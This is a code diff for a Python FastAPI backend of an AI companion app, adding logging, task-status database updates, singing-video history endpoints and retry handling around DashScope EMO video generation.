fallback = [
|
||||
"ffmpeg",
|
||||
_ffmpeg_bin(),
|
||||
"-y",
|
||||
"-loglevel",
|
||||
"error",
|
||||
|
|
@ -744,6 +814,7 @@ def _submit_emo_video(
|
|||
ext_bbox: list,
|
||||
style_level: str,
|
||||
) -> str:
|
||||
|
||||
if not settings.DASHSCOPE_API_KEY:
|
||||
raise HTTPException(status_code=500, detail="未配置 DASHSCOPE_API_KEY")
|
||||
input_obj = {
|
||||
|
|
@ -762,6 +833,10 @@ def _submit_emo_video(
|
|||
"Authorization": f"Bearer {settings.DASHSCOPE_API_KEY}",
|
||||
"Content-Type": "application/json",
|
||||
}
|
||||
|
||||
logger.info(f"提交 EMO 视频生成任务,model={EMO_MODEL}, style_level={style_level}")
|
||||
logger.debug(f"请求参数: {input_payload}")
|
||||
|
||||
try:
|
||||
resp = requests.post(
|
||||
"https://dashscope.aliyuncs.com/api/v1/services/aigc/image2video/video-synthesis",
|
||||
|
|
@ -770,17 +845,24 @@ def _submit_emo_video(
|
|||
timeout=15,
|
||||
)
|
||||
except Exception as exc:
|
||||
logger.error(f"调用 EMO API 失败: {exc}")
|
||||
raise HTTPException(status_code=502, detail="调用EMO视频生成失败") from exc
|
||||
|
||||
logger.info(f"EMO API 返回状态码: {resp.status_code}")
|
||||
|
||||
if resp.status_code != 200:
|
||||
msg = resp.text
|
||||
try:
|
||||
msg = resp.json().get("message") or msg
|
||||
except Exception:
|
||||
pass
|
||||
logger.error(f"EMO 任务提交失败: {msg}")
|
||||
raise HTTPException(status_code=502, detail=f"EMO视频任务提交失败: {msg}")
|
||||
try:
|
||||
data = resp.json()
|
||||
logger.info(f"EMO API 返回数据: {data}")
|
||||
except Exception as exc:
|
||||
logger.error(f"解析 EMO API 响应失败: {exc}")
|
||||
raise HTTPException(status_code=502, detail="EMO视频任务返回解析失败") from exc
|
||||
task_id = (
|
||||
data.get("output", {}).get("task_id")
|
||||
|
|
@ -788,26 +870,77 @@ def _submit_emo_video(
|
|||
or data.get("output", {}).get("id")
|
||||
)
|
||||
if not task_id:
|
||||
logger.error(f"EMO API 未返回 task_id,完整响应: {data}")
|
||||
raise HTTPException(status_code=502, detail="EMO视频任务未返回 task_id")
|
||||
|
||||
logger.info(f"EMO 任务提交成功,task_id={task_id}")
|
||||
return str(task_id)
|
||||
|
||||
|
||||
def _update_task_status_in_db(dashscope_task_id: str, status: str, result_url: Optional[str] = None):
|
||||
"""实时更新数据库中的任务状态"""
|
||||
from lover.db import SessionLocal
|
||||
from lover.models import GenerationTask
|
||||
|
||||
try:
|
||||
with SessionLocal() as db:
|
||||
# 查找对应的 GenerationTask
|
||||
task = db.query(GenerationTask).filter(
|
||||
GenerationTask.payload.like(f'%"dashscope_task_id": "{dashscope_task_id}"%')
|
||||
).first()
|
||||
|
||||
if task:
|
||||
# 映射状态
|
||||
status_mapping = {
|
||||
"PENDING": "pending",
|
||||
"RUNNING": "running",
|
||||
"SUCCEEDED": "succeeded",
|
||||
"FAILED": "failed"
|
||||
}
|
||||
|
||||
task_status = status_mapping.get(status, "pending")
|
||||
task.status = task_status
|
||||
|
||||
if result_url:
|
||||
task.result_url = result_url
|
||||
|
||||
# 更新 payload 中的状态
|
||||
payload = task.payload or {}
|
||||
payload["dashscope_status"] = status
|
||||
payload["last_updated"] = time.time()
|
||||
task.payload = payload
|
||||
|
||||
db.commit()
|
||||
logger.info(f"📊 任务 {task.id} 状态已更新为: {task_status}")
|
||||
except Exception as e:
|
||||
logger.error(f"❌ 更新任务状态失败: {e}")
|
||||
|
||||
|
||||
def _poll_video_url(task_id: str, timeout_seconds: int = 360) -> str:
|
||||
logger.info(f"⏳ 开始轮询 DashScope 任务: {task_id}")
|
||||
|
||||
headers = {"Authorization": f"Bearer {settings.DASHSCOPE_API_KEY}"}
|
||||
query_url = f"https://dashscope.aliyuncs.com/api/v1/tasks/{task_id}"
|
||||
# 视频任务排队时间可能较长,放宽到指定超时
|
||||
deadline = time.time() + max(60, timeout_seconds)
|
||||
attempts = 0
|
||||
while time.time() < deadline:
|
||||
time.sleep(3)
|
||||
attempts += 1
|
||||
try:
|
||||
resp = requests.get(query_url, headers=headers, timeout=8)
|
||||
except Exception:
|
||||
except Exception as e:
|
||||
if attempts % 10 == 0:
|
||||
logger.warning(f"⚠️ 轮询任务 {task_id} 第 {attempts} 次请求失败: {e}")
|
||||
continue
|
||||
if resp.status_code != 200:
|
||||
if attempts % 10 == 0:
|
||||
logger.warning(f"⚠️ 轮询任务 {task_id} 第 {attempts} 次返回状态码: {resp.status_code}")
|
||||
continue
|
||||
try:
|
||||
data = resp.json()
|
||||
except Exception:
|
||||
except Exception as e:
|
||||
if attempts % 10 == 0:
|
||||
logger.warning(f"⚠️ 轮询任务 {task_id} 第 {attempts} 次 JSON 解析失败: {e}")
|
||||
continue
|
||||
output = data.get("output") or {}
|
||||
status_str = str(
|
||||
|
|
@ -816,6 +949,13 @@ def _poll_video_url(task_id: str, timeout_seconds: int = 360) -> str:
|
|||
or data.get("status")
|
||||
or ""
|
||||
).upper()
|
||||
|
||||
# 每 5 次(15秒)记录一次进度并更新数据库
|
||||
if attempts % 5 == 0:
|
||||
logger.info(f"🔄 轮询任务 {task_id} 第 {attempts} 次,状态: {status_str}")
|
||||
# 实时更新数据库状态
|
||||
_update_task_status_in_db(task_id, status_str, None)
|
||||
|
||||
if status_str == "SUCCEEDED":
|
||||
results = output.get("results") or {}
|
||||
url = (
|
||||
|
|
@ -825,14 +965,23 @@ def _poll_video_url(task_id: str, timeout_seconds: int = 360) -> str:
|
|||
or data.get("output", {}).get("video_url")
|
||||
)
|
||||
if not url:
|
||||
logger.error(f"❌ 任务 {task_id} 成功但未返回 URL")
|
||||
raise HTTPException(status_code=502, detail="视频生成成功但未返回结果 URL")
|
||||
logger.info(f"✅ 任务 {task_id} 生成成功!")
|
||||
# 立即更新数据库状态为成功
|
||||
_update_task_status_in_db(task_id, "SUCCEEDED", url)
|
||||
return url
|
||||
if status_str == "FAILED":
|
||||
code = output.get("code") or data.get("code")
|
||||
msg = output.get("message") or data.get("message") or "生成失败"
|
||||
if code:
|
||||
msg = f"{code}: {msg}"
|
||||
logger.error(f"❌ 任务 {task_id} 生成失败: {msg}")
|
||||
# 立即更新数据库状态为失败
|
||||
_update_task_status_in_db(task_id, "FAILED", None)
|
||||
raise HTTPException(status_code=502, detail=f"视频生成失败: {msg}")
|
||||
|
||||
logger.error(f"⏱️ 任务 {task_id} 轮询超时,共尝试 {attempts} 次")
|
||||
raise HTTPException(status_code=504, detail="视频生成超时,请稍后重试")
|
||||
|
||||
|
||||
|
|
@ -880,7 +1029,11 @@ def _query_dashscope_task_status(task_id: str) -> tuple[str, Optional[str], Opti
|
|||
return "UNKNOWN", None, None
|
||||
|
||||
|
||||
def _try_backfill_segment_video(segment_video_id: int, dashscope_task_id: Optional[str] = None) -> Optional[SongSegmentVideo]:
|
||||
def _try_backfill_segment_video(segment_video_id: int, dashscope_task_id: Optional[str] = None) -> None:
|
||||
"""
|
||||
尝试从 DashScope 获取任务状态并更新数据库。
|
||||
不返回任何对象,避免 SQLAlchemy DetachedInstanceError。
|
||||
"""
|
||||
with SessionLocal() as db:
|
||||
segment_video = (
|
||||
db.query(SongSegmentVideo)
|
||||
|
|
@ -888,10 +1041,10 @@ def _try_backfill_segment_video(segment_video_id: int, dashscope_task_id: Option
|
|||
.first()
|
||||
)
|
||||
if not segment_video or segment_video.status != "running":
|
||||
return None
|
||||
return
|
||||
task_id = dashscope_task_id or segment_video.dashscope_task_id
|
||||
if not task_id:
|
||||
return None
|
||||
return
|
||||
segment = (
|
||||
db.query(SongSegment)
|
||||
.filter(SongSegment.id == segment_video.segment_id)
|
||||
|
|
@ -935,7 +1088,7 @@ def _try_backfill_segment_video(segment_video_id: int, dashscope_task_id: Option
|
|||
segment_video.updated_at = datetime.utcnow()
|
||||
db.add(segment_video)
|
||||
db.commit()
|
||||
return None
|
||||
return
|
||||
|
||||
with SessionLocal() as db:
|
||||
segment_video = (
|
||||
|
|
@ -951,8 +1104,7 @@ def _try_backfill_segment_video(segment_video_id: int, dashscope_task_id: Option
|
|||
segment_video.updated_at = datetime.utcnow()
|
||||
db.add(segment_video)
|
||||
db.commit()
|
||||
return segment_video
|
||||
return None
|
||||
return
|
||||
|
||||
if status == "FAILED":
|
||||
with SessionLocal() as db:
|
||||
|
|
@ -968,10 +1120,7 @@ def _try_backfill_segment_video(segment_video_id: int, dashscope_task_id: Option
|
|||
segment_video.updated_at = datetime.utcnow()
|
||||
db.add(segment_video)
|
||||
db.commit()
|
||||
return segment_video
|
||||
return None
|
||||
|
||||
return None
|
||||
return
|
||||
|
||||
|
||||
def _wait_for_base_video(base_id: int, timeout: int) -> Optional[SingBaseVideo]:
|
||||
|
|
@ -1014,15 +1163,48 @@ def _wait_for_segment_video(segment_video_id: int, timeout: int) -> Optional[Son
|
|||
.filter(SongSegmentVideo.id == segment_video_id)
|
||||
.first()
|
||||
)
|
||||
if segment_video and segment_video.status in ("succeeded", "failed"):
|
||||
return segment_video
|
||||
dash_task_id = segment_video.dashscope_task_id if segment_video else None
|
||||
if segment_video:
|
||||
status = segment_video.status
|
||||
if status in ("succeeded", "failed"):
|
||||
# 在会话关闭前获取所有需要的属性
|
||||
video_url = segment_video.video_url
|
||||
error_msg = segment_video.error_msg
|
||||
# 创建一个新对象返回,避免 DetachedInstanceError
|
||||
result = SongSegmentVideo(
|
||||
id=segment_video.id,
|
||||
status=status,
|
||||
video_url=video_url,
|
||||
error_msg=error_msg,
|
||||
)
|
||||
return result
|
||||
dash_task_id = segment_video.dashscope_task_id
|
||||
else:
|
||||
dash_task_id = None
|
||||
|
||||
now = time.time()
|
||||
if dash_task_id and now - last_backfill_at >= EMO_BACKFILL_MIN_INTERVAL_SECONDS:
|
||||
updated = _try_backfill_segment_video(segment_video_id, dash_task_id)
|
||||
# 调用 backfill 后重新查询,不使用返回的对象
|
||||
_try_backfill_segment_video(segment_video_id, dash_task_id)
|
||||
last_backfill_at = now
|
||||
if updated and updated.status in ("succeeded", "failed"):
|
||||
return updated
|
||||
# 重新查询状态
|
||||
with SessionLocal() as db:
|
||||
segment_video = (
|
||||
db.query(SongSegmentVideo)
|
||||
.filter(SongSegmentVideo.id == segment_video_id)
|
||||
.first()
|
||||
)
|
||||
if segment_video:
|
||||
status = segment_video.status
|
||||
if status in ("succeeded", "failed"):
|
||||
video_url = segment_video.video_url
|
||||
error_msg = segment_video.error_msg
|
||||
result = SongSegmentVideo(
|
||||
id=segment_video.id,
|
||||
status=status,
|
||||
video_url=video_url,
|
||||
error_msg=error_msg,
|
||||
)
|
||||
return result
|
||||
time.sleep(3)
|
||||
return None
|
||||
|
||||
|
|
@ -1294,9 +1476,9 @@ def _should_enqueue_task(task_id: int) -> bool:
|
|||
|
||||
|
||||
def _enqueue_sing_task(task_id: int):
|
||||
if not _should_enqueue_task(task_id):
|
||||
return False
|
||||
return sing_task_queue.enqueue_unique(f"sing:{task_id}", _process_sing_task, task_id)
|
||||
# 移除入队日志,只在失败时记录
|
||||
result = sing_task_queue.enqueue_unique(f"sing:{task_id}", _process_sing_task, task_id)
|
||||
return result
|
||||
|
||||
|
||||
def _next_seq(db: Session, session_id: int) -> int:
|
||||
|
|
@ -1435,6 +1617,11 @@ class SingGenerateIn(BaseModel):
|
|||
song_id: int = Field(..., description="歌曲ID(nf_song_library.id)")
|
||||
|
||||
|
||||
class SingGenerateFromLibraryIn(BaseModel):
|
||||
"""从音乐库生成唱歌视频请求"""
|
||||
music_id: int = Field(..., description="音乐库ID(nf_music_library.id)")
|
||||
|
||||
|
||||
class SingTaskStatusOut(BaseModel):
|
||||
generation_task_id: int
|
||||
status: str = Field(..., description="pending|running|succeeded|failed")
|
||||
|
|
@ -1446,6 +1633,41 @@ class SingTaskStatusOut(BaseModel):
|
|||
error_msg: Optional[str] = None
|
||||
|
||||
|
||||
@router.get("/current", response_model=ApiResponse[Optional[SingTaskStatusOut]])
|
||||
def get_current_sing_task(
|
||||
db: Session = Depends(get_db),
|
||||
user: AuthedUser = Depends(get_current_user),
|
||||
):
|
||||
task = (
|
||||
db.query(GenerationTask)
|
||||
.filter(
|
||||
GenerationTask.user_id == user.id,
|
||||
GenerationTask.task_type == "video",
|
||||
GenerationTask.status.in_(["pending", "running"]),
|
||||
GenerationTask.payload["song_id"].as_integer().isnot(None),
|
||||
)
|
||||
.order_by(GenerationTask.id.desc())
|
||||
.first()
|
||||
)
|
||||
if not task:
|
||||
return success_response(None, msg="暂无进行中的任务")
|
||||
|
||||
payload = task.payload or {}
|
||||
return success_response(
|
||||
SingTaskStatusOut(
|
||||
generation_task_id=task.id,
|
||||
status=task.status,
|
||||
dashscope_task_id=str(payload.get("dashscope_task_id") or ""),
|
||||
video_url=task.result_url or payload.get("merged_video_url") or "",
|
||||
session_id=int(payload.get("session_id") or 0),
|
||||
user_message_id=int(payload.get("user_message_id") or 0),
|
||||
lover_message_id=int(payload.get("lover_message_id") or 0),
|
||||
error_msg=task.error_msg,
|
||||
),
|
||||
msg="获取成功",
|
||||
)
|
||||
|
||||
|
||||
@router.get("/songs", response_model=ApiResponse[SongListResponse])
|
||||
def list_songs_for_lover(
|
||||
db: Session = Depends(get_db),
|
||||
|
|
@ -1476,6 +1698,196 @@ def list_songs_for_lover(
|
|||
return success_response(SongListResponse(songs=songs), msg="歌曲列表获取成功")
|
||||
|
||||
|
||||
@router.get("/history", response_model=ApiResponse[List[dict]])
|
||||
def get_sing_history(
|
||||
db: Session = Depends(get_db),
|
||||
user: AuthedUser = Depends(get_current_user),
|
||||
page: int = 1,
|
||||
size: int = 20,
|
||||
):
|
||||
"""
|
||||
获取用户的唱歌视频历史记录
|
||||
"""
|
||||
lover = db.query(Lover).filter(Lover.user_id == user.id).first()
|
||||
if not lover:
|
||||
raise HTTPException(status_code=404, detail="恋人未找到")
|
||||
|
||||
# 查询已成功生成的视频(优先使用 nf_sing_song_video)
|
||||
offset = (page - 1) * size
|
||||
videos = (
|
||||
db.query(SingSongVideo)
|
||||
.filter(
|
||||
SingSongVideo.user_id == user.id,
|
||||
SingSongVideo.lover_id == lover.id,
|
||||
SingSongVideo.status == "succeeded",
|
||||
SingSongVideo.merged_video_url.isnot(None),
|
||||
)
|
||||
.order_by(SingSongVideo.id.desc())
|
||||
.offset(offset)
|
||||
.limit(size)
|
||||
.all()
|
||||
)
|
||||
|
||||
result: list[dict] = []
|
||||
seen_urls: set[str] = set()
|
||||
for video in videos:
|
||||
# 获取歌曲信息
|
||||
song = db.query(SongLibrary).filter(SongLibrary.id == video.song_id).first()
|
||||
song_title = song.title if song else "未知歌曲"
|
||||
url = _cdnize(video.merged_video_url)
|
||||
if url:
|
||||
seen_urls.add(url)
|
||||
result.append(
|
||||
{
|
||||
"id": video.id,
|
||||
"song_id": video.song_id,
|
||||
"song_title": song_title,
|
||||
"video_url": url,
|
||||
"created_at": video.created_at.isoformat() if video.created_at else None,
|
||||
}
|
||||
)
|
||||
|
||||
# 兜底:部分情况下任务成功但 nf_sing_song_video 未落库,补查 nf_generation_tasks
|
||||
if len(result) < size:
|
||||
remaining = size - len(result)
|
||||
fallback_tasks = (
|
||||
db.query(GenerationTask)
|
||||
.filter(
|
||||
GenerationTask.user_id == user.id,
|
||||
GenerationTask.lover_id == lover.id,
|
||||
GenerationTask.task_type == "video",
|
||||
GenerationTask.status == "succeeded",
|
||||
GenerationTask.payload["song_id"].as_integer().isnot(None),
|
||||
GenerationTask.payload["merged_video_url"].as_string().isnot(None),
|
||||
)
|
||||
.order_by(GenerationTask.id.desc())
|
||||
.offset(offset)
|
||||
.limit(size * 2)
|
||||
.all()
|
||||
)
|
||||
|
||||
for task in fallback_tasks:
|
||||
payload = task.payload or {}
|
||||
song_id = payload.get("song_id")
|
||||
merged_video_url = payload.get("merged_video_url") or task.result_url
|
||||
url = _cdnize(merged_video_url) if merged_video_url else ""
|
||||
if not url or url in seen_urls:
|
||||
continue
|
||||
|
||||
song_title = payload.get("song_title") or "未知歌曲"
|
||||
if song_id:
|
||||
song = db.query(SongLibrary).filter(SongLibrary.id == song_id).first()
|
||||
if song and song.title:
|
||||
song_title = song.title
|
||||
|
||||
result.append(
|
||||
{
|
||||
"id": int(task.id),
|
||||
"song_id": int(song_id) if song_id else 0,
|
||||
"song_title": song_title,
|
||||
"video_url": url,
|
||||
"created_at": task.created_at.isoformat() if task.created_at else None,
|
||||
}
|
||||
)
|
||||
seen_urls.add(url)
|
||||
remaining -= 1
|
||||
if remaining <= 0:
|
||||
break
|
||||
|
||||
return success_response(result, msg="获取成功")
|
||||
|
||||
|
||||
@router.post("/retry/{task_id}", response_model=ApiResponse[dict])
|
||||
def retry_sing_task(
|
||||
task_id: int,
|
||||
background_tasks: BackgroundTasks,
|
||||
db: Session = Depends(get_db),
|
||||
user: AuthedUser = Depends(get_current_user),
|
||||
):
|
||||
"""手动重试:用于 DashScope 端已成功但本地下载/上传失败导致任务失败的情况。"""
|
||||
task = (
|
||||
db.query(GenerationTask)
|
||||
.filter(
|
||||
GenerationTask.id == task_id,
|
||||
GenerationTask.user_id == user.id,
|
||||
GenerationTask.task_type == "video",
|
||||
GenerationTask.payload["song_id"].as_integer().isnot(None),
|
||||
)
|
||||
.first()
|
||||
)
|
||||
if not task:
|
||||
raise HTTPException(status_code=404, detail="任务不存在")
|
||||
|
||||
payload = task.payload or {}
|
||||
dash_id = payload.get("dashscope_task_id")
|
||||
if not dash_id:
|
||||
# 唱歌任务通常不会在 GenerationTask.payload 中保存 dashscope_task_id(分段任务各自保存)。
|
||||
# 此时改为重新入队处理,尽量复用已成功的分段,完成补下载/补写记录。
|
||||
task.status = "pending"
|
||||
task.error_msg = None
|
||||
task.payload = {**payload, "manual_retry": True}
|
||||
task.updated_at = datetime.utcnow()
|
||||
db.add(task)
|
||||
db.commit()
|
||||
_enqueue_sing_task(int(task.id))
|
||||
return success_response({"task_id": int(task.id)}, msg="已触发重新下载")
|
||||
|
||||
# 标记手动重试(避免前端重复点击导致并发过多)
|
||||
task.payload = {**payload, "manual_retry": True}
|
||||
task.updated_at = datetime.utcnow()
|
||||
db.add(task)
|
||||
db.commit()
|
||||
|
||||
background_tasks.add_task(_retry_finalize_sing_task, int(task.id))
|
||||
return success_response({"task_id": int(task.id)}, msg="已触发重新下载")
|
||||
|
||||
|
||||
@router.get("/history/all", response_model=ApiResponse[List[dict]])
|
||||
def get_sing_history_all(
|
||||
db: Session = Depends(get_db),
|
||||
user: AuthedUser = Depends(get_current_user),
|
||||
page: int = 1,
|
||||
size: int = 20,
|
||||
):
|
||||
lover = db.query(Lover).filter(Lover.user_id == user.id).first()
|
||||
if not lover:
|
||||
raise HTTPException(status_code=404, detail="恋人未找到")
|
||||
|
||||
offset = (page - 1) * size
|
||||
tasks = (
|
||||
db.query(GenerationTask)
|
||||
.filter(
|
||||
GenerationTask.user_id == user.id,
|
||||
GenerationTask.lover_id == lover.id,
|
||||
GenerationTask.task_type == "video",
|
||||
GenerationTask.payload["song_id"].as_integer().isnot(None),
|
||||
)
|
||||
.order_by(GenerationTask.id.desc())
|
||||
.offset(offset)
|
||||
.limit(size)
|
||||
.all()
|
||||
)
|
||||
|
||||
result: list[dict] = []
|
||||
for task in tasks:
|
||||
payload = task.payload or {}
|
||||
song_id = payload.get("song_id")
|
||||
merged_video_url = payload.get("merged_video_url") or task.result_url
|
||||
result.append(
|
||||
{
|
||||
"id": int(task.id),
|
||||
"song_id": int(song_id) if song_id else 0,
|
||||
"song_title": payload.get("song_title") or "未知歌曲",
|
||||
"status": task.status,
|
||||
"video_url": _cdnize(merged_video_url) or "",
|
||||
"error_msg": task.error_msg,
|
||||
"created_at": task.created_at.isoformat() if task.created_at else None,
|
||||
}
|
||||
)
|
||||
|
||||
return success_response(result, msg="获取成功")
|
||||
|
||||
|
||||
def _get_or_create_session(db: Session, user: AuthedUser, lover: Lover, session_id: Optional[int]) -> ChatSession:
|
||||
if session_id:
|
||||
session = (
|
||||
|
|
@ -1522,6 +1934,8 @@ def _process_sing_task(task_id: int):
|
|||
"""
|
||||
后台处理唱歌视频生成任务:分段音频 -> EMO 逐段生成 -> 拼接整曲。
|
||||
"""
|
||||
logger.info(f"开始处理唱歌任务 {task_id}")
|
||||
|
||||
song_title: str = ""
|
||||
image_url: str = ""
|
||||
audio_url: str = ""
|
||||
|
|
@ -1541,6 +1955,7 @@ def _process_sing_task(task_id: int):
|
|||
audio_hash_hint: Optional[str] = None
|
||||
duration_sec_hint: Optional[int] = None
|
||||
try:
|
||||
logger.info(f"任务 {task_id}: 开始数据库查询")
|
||||
db = SessionLocal()
|
||||
task = (
|
||||
db.query(GenerationTask)
|
||||
|
|
@ -1548,10 +1963,13 @@ def _process_sing_task(task_id: int):
|
|||
.with_for_update()
|
||||
.first()
|
||||
)
|
||||
logger.info(f"任务 {task_id}: 查询到任务,状态={task.status if task else 'None'}")
|
||||
if not task or task.status in ("succeeded", "failed"):
|
||||
logger.warning(f"任务 {task_id}: 任务不存在或已完成/失败,退出处理")
|
||||
db.rollback()
|
||||
return
|
||||
|
||||
logger.info(f"任务 {task_id}: 开始提取 payload 数据")
|
||||
user_id = task.user_id
|
||||
lover_id = task.lover_id
|
||||
payload = task.payload or {}
|
||||
|
|
@ -1661,12 +2079,14 @@ def _process_sing_task(task_id: int):
|
|||
pass
|
||||
|
||||
try:
|
||||
logger.info(f"任务 {task_id}: 开始音频分段处理")
|
||||
segments, audio_hash, duration_sec = _ensure_song_segments(
|
||||
song_id,
|
||||
audio_url,
|
||||
audio_hash_hint,
|
||||
duration_sec_hint,
|
||||
)
|
||||
logger.info(f"任务 {task_id}: 音频分段完成,共 {len(segments)} 段,时长 {duration_sec}秒")
|
||||
with SessionLocal() as db:
|
||||
task_row = (
|
||||
db.query(GenerationTask)
|
||||
|
|
@ -1706,6 +2126,7 @@ def _process_sing_task(task_id: int):
|
|||
content_safety_blocked = _is_content_safety_error(cached_merge.error_msg)
|
||||
|
||||
if not merged_video_url:
|
||||
logger.info(f"任务 {task_id}: 开始生成分段视频,共 {len(segments)} 段")
|
||||
segment_video_urls: list[tuple[int, str]] = []
|
||||
content_safety_triggered = False
|
||||
for segment in segments:
|
||||
|
|
@ -1715,6 +2136,7 @@ def _process_sing_task(task_id: int):
|
|||
segment_duration_ms = int(segment.get("duration_ms") or 0)
|
||||
emo_duration_ms = int(segment.get("emo_duration_ms") or segment_duration_ms)
|
||||
|
||||
logger.info(f"任务 {task_id}: 处理第 {segment_index + 1}/{len(segments)} 段视频")
|
||||
existing_running = False
|
||||
segment_video_id = None
|
||||
segment_video_url = ""
|
||||
|
|
@ -1803,6 +2225,7 @@ def _process_sing_task(task_id: int):
|
|||
ext_bbox=ext_bbox or [],
|
||||
style_level=style_level,
|
||||
)
|
||||
logger.info(f"任务 {task_id}: 第 {segment_index + 1} 段已提交到 DashScope,task_id={dash_task_id}")
|
||||
with SessionLocal() as db:
|
||||
segment_video = (
|
||||
db.query(SongSegmentVideo)
|
||||
|
|
@ -1819,6 +2242,7 @@ def _process_sing_task(task_id: int):
|
|||
db.commit()
|
||||
|
||||
dash_video_url = _poll_video_url(dash_task_id, EMO_TASK_TIMEOUT_SECONDS)
|
||||
logger.info(f"任务 {task_id}: 第 {segment_index + 1} 段视频生成完成,URL={dash_video_url[:100]}...")
|
||||
video_bytes = _download_binary(dash_video_url)
|
||||
if emo_duration_ms > segment_duration_ms and segment_duration_ms > 0:
|
||||
video_bytes = _trim_video_bytes(video_bytes, segment_duration_ms / 1000.0)
|
||||
|
|
@ -2086,15 +2510,17 @@ def _process_sing_task(task_id: int):
|
|||
db.add(task_row)
|
||||
db.commit()
|
||||
except HTTPException as exc:
|
||||
logger.error(f"任务 {task_id} 处理失败 (HTTPException): {exc.detail if hasattr(exc, 'detail') else str(exc)}")
|
||||
try:
|
||||
_mark_task_failed(task_id, str(exc.detail) if hasattr(exc, "detail") else str(exc))
|
||||
except Exception:
|
||||
pass
|
||||
except Exception as e2:
|
||||
logger.exception(f"标记任务 {task_id} 失败时出错: {e2}")
|
||||
except Exception as exc:
|
||||
logger.exception(f"任务 {task_id} 处理失败 (Exception): {exc}")
|
||||
try:
|
||||
_mark_task_failed(task_id, str(exc)[:255])
|
||||
except Exception:
|
||||
pass
|
||||
except Exception as e2:
|
||||
logger.exception(f"标记任务 {task_id} 失败时出错: {e2}")
|
||||
|
||||
|
||||
@router.post("/generate", response_model=ApiResponse[SingTaskStatusOut])
|
||||
|
|
@ -2104,6 +2530,9 @@ def generate_sing_video(
|
|||
db: Session = Depends(get_db),
|
||||
user: AuthedUser = Depends(get_current_user),
|
||||
):
|
||||
logger.info(f"🎤 收到唱歌生成请求: user_id={user.id}, song_id={payload.song_id}")
|
||||
|
||||
# 原有代码...
|
||||
lover = db.query(Lover).filter(Lover.user_id == user.id).first()
|
||||
if not lover:
|
||||
raise HTTPException(status_code=404, detail="恋人不存在,请先完成创建流程")
|
||||
|
|
@ -2132,6 +2561,10 @@ def generate_sing_video(
|
|||
)
|
||||
if not user_row:
|
||||
raise HTTPException(status_code=404, detail="用户不存在")
|
||||
|
||||
# 检查并重置 VIP 用户的视频生成次数
|
||||
_check_and_reset_vip_video_gen(user_row, db)
|
||||
|
||||
if (user_row.video_gen_remaining or 0) <= 0:
|
||||
raise HTTPException(status_code=400, detail="视频生成次数不足")
|
||||
|
||||
|
|
@ -2407,6 +2840,118 @@ def generate_sing_video(
|
|||
)
|
||||
|
||||
|
||||
def _ensure_sing_history_record(db: Session, task: GenerationTask) -> None:
|
||||
"""确保 nf_sing_song_video 中存在该任务对应的成功记录(用于历史列表)。"""
|
||||
if not task or task.status != "succeeded":
|
||||
return
|
||||
|
||||
payload = task.payload or {}
|
||||
song_id = payload.get("song_id")
|
||||
merged_video_url = payload.get("merged_video_url") or task.result_url
|
||||
if not song_id or not merged_video_url:
|
||||
return
|
||||
|
||||
existing = (
|
||||
db.query(SingSongVideo)
|
||||
.filter(
|
||||
SingSongVideo.generation_task_id == task.id,
|
||||
SingSongVideo.user_id == task.user_id,
|
||||
)
|
||||
.first()
|
||||
)
|
||||
if existing and existing.status == "succeeded" and existing.merged_video_url:
|
||||
return
|
||||
|
||||
audio_url = payload.get("audio_url") or ""
|
||||
audio_hash = payload.get("audio_hash") or ( _hash_text(audio_url) if audio_url else "" )
|
||||
image_hash = payload.get("image_hash") or ""
|
||||
ratio = payload.get("ratio") or EMO_RATIO
|
||||
style_level = payload.get("style_level") or EMO_STYLE_LEVEL
|
||||
|
||||
if not existing:
|
||||
existing = SingSongVideo(
|
||||
user_id=task.user_id,
|
||||
lover_id=task.lover_id or 0,
|
||||
song_id=int(song_id),
|
||||
audio_url=audio_url or "",
|
||||
audio_hash=(audio_hash or "")[:64],
|
||||
image_hash=(image_hash or "")[:64] if image_hash else None,
|
||||
ratio=ratio,
|
||||
style_level=style_level,
|
||||
merged_video_url=merged_video_url,
|
||||
status="succeeded",
|
||||
error_msg=None,
|
||||
generation_task_id=task.id,
|
||||
created_at=task.created_at or datetime.utcnow(),
|
||||
updated_at=datetime.utcnow(),
|
||||
)
|
||||
else:
|
||||
existing.song_id = int(song_id)
|
||||
existing.merged_video_url = merged_video_url
|
||||
existing.status = "succeeded"
|
||||
existing.error_msg = None
|
||||
existing.updated_at = datetime.utcnow()
|
||||
existing.generation_task_id = task.id
|
||||
if task.lover_id:
|
||||
existing.lover_id = task.lover_id
|
||||
if audio_url:
|
||||
existing.audio_url = audio_url
|
||||
if audio_hash:
|
||||
existing.audio_hash = (audio_hash or "")[:64]
|
||||
if image_hash:
|
||||
existing.image_hash = (image_hash or "")[:64]
|
||||
existing.ratio = ratio
|
||||
existing.style_level = style_level
|
||||
|
||||
db.add(existing)
|
||||
|
||||
|
||||
def _retry_finalize_sing_task(task_id: int) -> None:
|
||||
"""任务失败但 DashScope 端已成功时,尝试重新下载视频并落库(自愈)。"""
|
||||
try:
|
||||
with SessionLocal() as db:
|
||||
task = (
|
||||
db.query(GenerationTask)
|
||||
.filter(GenerationTask.id == task_id)
|
||||
.with_for_update()
|
||||
.first()
|
||||
)
|
||||
if not task:
|
||||
return
|
||||
payload = task.payload or {}
|
||||
dash_id = payload.get("dashscope_task_id")
|
||||
if not dash_id:
|
||||
return
|
||||
|
||||
status, dash_video_url, error_msg = _query_dashscope_task_status(dash_id)
|
||||
if status != "SUCCEEDED" or not dash_video_url:
|
||||
return
|
||||
|
||||
video_bytes = _download_binary(dash_video_url)
|
||||
object_name = (
|
||||
f"lover/{task.lover_id}/sing/"
|
||||
f"{int(time.time())}_{payload.get('song_id') or 'unknown'}.mp4"
|
||||
)
|
||||
merged_video_url = _upload_to_oss(video_bytes, object_name)
|
||||
|
||||
task.status = "succeeded"
|
||||
task.result_url = merged_video_url
|
||||
task.error_msg = None
|
||||
task.payload = {
|
||||
**payload,
|
||||
"merged_video_url": merged_video_url,
|
||||
"retry_finalized": True,
|
||||
"dashscope_error": error_msg,
|
||||
}
|
||||
task.updated_at = datetime.utcnow()
|
||||
db.add(task)
|
||||
|
||||
_ensure_sing_history_record(db, task)
|
||||
db.commit()
|
||||
except Exception:
|
||||
return
|
||||
|
||||
|
||||
@router.get("/generate/{task_id}", response_model=ApiResponse[SingTaskStatusOut])
|
||||
def get_sing_task(
|
||||
task_id: int,
|
||||
|
|
@ -2441,11 +2986,7 @@ def get_sing_task(
|
|||
merge_id = payload.get("merge_id")
|
||||
if merge_id:
|
||||
with SessionLocal() as tmp:
|
||||
merge = (
|
||||
tmp.query(SingSongVideo)
|
||||
.filter(SingSongVideo.id == merge_id)
|
||||
.first()
|
||||
)
|
||||
